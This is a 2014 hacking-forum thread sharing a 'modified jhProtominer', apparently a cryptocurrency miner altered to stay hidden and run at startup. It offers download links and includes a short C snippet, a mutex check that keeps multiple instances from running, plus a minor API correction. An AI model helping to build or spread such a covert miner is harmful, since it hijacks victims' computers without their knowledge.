![]() |
|
Modified jhProtominer Source Code - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C) +--- Thread: Modified jhProtominer Source Code (/Thread-Modified-jhProtominer-Source-Code) |
Modified jhProtominer Source Code - Hellborn - 01-21-2014 Hidden and runs at startup. Nothing special... https://anonfiles.com/file/e966bde965cc882ec56b01845b0dbd8a RE: Modified jhProtominer Source Code - xornull - 06-10-2014 May I ask why there is no part of the code that prevents it from executing itself multiple times? all it takes is this Code: void check_already_running(wchar_t *cMutexName, HANDLE *hMutex) {
*hMutex = CreateMutexW(NULL, true, cMutexName);
if(ERROR_ALREADY_EXISTS == GetLastError())
ExitProcess(NULL);
}RE: Modified jhProtominer Source Code - Alexaider - 06-10-2014 dl link dead to me, could you upload a compiled version too maybe? ty RE: Modified jhProtominer Source Code - xornull - 06-12-2014 (06-10-2014, 11:38 PM)Alexaider Wrote: dl link dead to me, could you upload a compiled version too maybe? ty Fixed link: https://anonfiles.com/file/61afd94c4e156fe0b91b85efa5b856b6 The project file itself, you need MSVC to compile this. RE: Modified jhProtominer Source Code - 0xDEAD10CC - 06-30-2014 (06-10-2014, 10:05 AM)xornull Wrote: May I ask why there is no part of the code that prevents it from executing itself multiple times? ExitProcess takes a UINT as a parameter, not a pointer type -- NULL. RE: Modified jhProtominer Source Code - xornull - 07-27-2014 (06-30-2014, 12:24 AM)0xDEAD10CC Wrote: ExitProcess takes a UINT as a parameter, not a pointer type -- NULL. yes i found that out long ago, i dont write null in it anymore.. |